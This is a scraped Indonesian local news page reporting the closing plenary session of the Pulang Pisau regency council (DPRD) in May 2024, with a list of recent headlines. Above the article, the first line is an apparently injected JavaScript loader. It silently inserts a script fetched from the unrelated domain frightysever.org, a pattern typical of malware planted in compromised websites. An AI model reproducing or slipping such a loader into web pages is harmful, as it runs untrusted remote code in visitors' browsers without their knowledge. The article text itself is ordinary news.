(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD Pulang Pisau Rapat Paripurna Penutupan Masa Persidangan I 2024


KANALKALIMANTAN.COM, PULANG PISASU – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Pulang Pisau menggelar rapat paripurna ke-8 masa persidangan 1 tahun sidang 2024, Senin (13/5/2024).

Rapat dipimpin langsung Ketua DPRD Kabupaten Pulang Pisau H Ahmad Rifai didampingi Wakil Ketua I H Ahmad Fadli Rahman, dan Wakil Ketua II Sentot Siswanto dihadiri anggota DPRD Kabupaten Pulang Pisau, serta perwakilan Forkopimda.

Pemkab Pulang Pisau diwakili Asisten I Setda Pulang Pisau, Hayes Hendra dan dihadiri sejumlah Kepala SKPD lingkup Pemkab Pulang Pisau.

Baca juga: Calo Kredit Kupedes Fiktif Bank BUMN di Banjarbaru Vonis 4 Tahun Penjara

Wakil Ketua II DPRD Pulang Pisau Sentot Siswanto mengatakan, produk DPRD Kabupaten Pulang Pisau masa persidangan 1 tahun sidang 2024 telah menyelesaikan beberapa tahapan, diantaranya mengeluarkan persetujuan bersama atas Raperda penyelenggaraan jalan umum dan jalan khusus, serta Raperda tentang penyelenggaraan perlindungan perempuan dan anak di Kabupaten Pulang Pisau. Membentuk panitia khusus terhadap Raperda tentang LKPj Kepala Daerah tahun anggaran 2023, mengeluarkan persetujuan bersama tentang keterangan pertanggungjawaban anggaran 2023. “Juga penyampaian pokok-pokok pikiran DPRD, dan fasilitas tindak lanjut laporan masyarakat,” kata Sentot Siswanto.

Lebih lanjut Sentot Siswanto mengatakan, DPRD Kabupaten Pulang Pisau melaksanakan penutupan masa persidangan 1 tahun sidang 2024. Mewakili pimpinan DPRD Kabupaten Pulang Pisau mengingatkan kepada anggota DPRD Kabupaten Pulang Pisau bahwa memasuki masa sidang berikutnya akan ada beberapa tugas.

“Kami ingatkan kembali bahwa dalam menjalankan fungsi pembentukan Perda, DPRD membahas bersama Bupati Pulang Pisau dan menyetujui atau tidak menyetujui rancangan Perda, kemudian mengajukan usulan rancangan Perda serta menyusun program pembentukan peraturan daerah bersama Bupati,” katanya.

Dalam menjalankan fungsi anggaran, DPRD melalui alat kelengkapan DPRD bertugas membahas KUA dan PPAS, membahas rancangan Perda tentang APBD, Perda tentang perubahan APBD, serta membahas rancangan Perda tentang LKPj pelaksanaan APBD.

“Kemudian untuk menjalankan fungsi pengawasan, diwujudkan dalam bentuk pengawasan terhadap pelaksanaan Perda dan Perbup, pengawasan terhadap pelaksanaan ketentuan peraturan perundang-undangan lain yang terkait dengan penyelenggaraan pemerintahan daerah,” pungkasnya. (Kanalkalimantan.com/rawi)

Reporter : rawi
Editor : kk


Risa

Recent Posts

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

22 menit ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

5 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

5 jam ago

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

8 jam ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

8 jam ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

10 jam ago

This website uses cookies.